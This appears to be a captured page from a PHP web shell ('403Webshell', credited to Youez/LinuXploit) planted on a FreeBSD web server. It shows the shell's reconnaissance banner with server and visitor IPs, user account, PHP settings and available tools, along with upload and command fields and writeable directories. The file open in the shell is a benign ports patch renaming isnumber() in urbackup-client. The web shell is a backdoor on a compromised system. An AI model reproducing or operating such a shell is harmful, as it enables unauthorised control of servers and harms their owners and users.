403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.216.238
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/archivers/urbackup-client/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/archivers/urbackup-client/files/patch-client_stringtools.cpp
Build fails on FreeBSD due to urbackup's local definitions of isnumber()
conflicting with a library function. This patch renames the port's definition to
resolve the conflict. Analogous changes are also made in client/stringtools.h

--- client/stringtools.cpp.orig	2022-08-29 17:44:01 UTC
+++ client/stringtools.cpp
@@ -826,7 +826,7 @@ void TokenizeMail(const std::string& str, std::vector<
 //--------------------------------------------------------------------
 /**
 */
-bool isnumber(char ch)
+bool isnumber_local(char ch)
 {
 	if( ch>=48 && ch <=57 )
 		return true;
@@ -849,7 +849,7 @@ bool isletter(char ch)
 //--------------------------------------------------------------------
 /**
 */
-bool isnumber(wchar_t ch)
+bool isnumber_local(wchar_t ch)
 {
 	if( ch>=48 && ch <=57 )
 		return true;
@@ -929,7 +929,7 @@ int getNextNumber(const std::string &pStr, int *read)
 	bool start=false;
 	for(size_t i=0;i<pStr.size();++i)
 	{
-		if( isnumber(pStr[i] ) )
+		if( isnumber_local(pStr[i] ) )
 		{
 			num+=pStr[i];
 			start=true;
@@ -1444,7 +1444,7 @@ void replaceNonAlphaNumeric(std::string &str, char rch
 {
 	for(size_t i=0;i<str.size();++i)
 	{
-		if(isletter(str[i])==false && isnumber(str[i])==false)
+		if(isletter(str[i])==false && isnumber_local(str[i])==false)
 		{
 			str[i]=rch;
 		}

Youez - 2016 - github.com/yon3zu
LinuXploit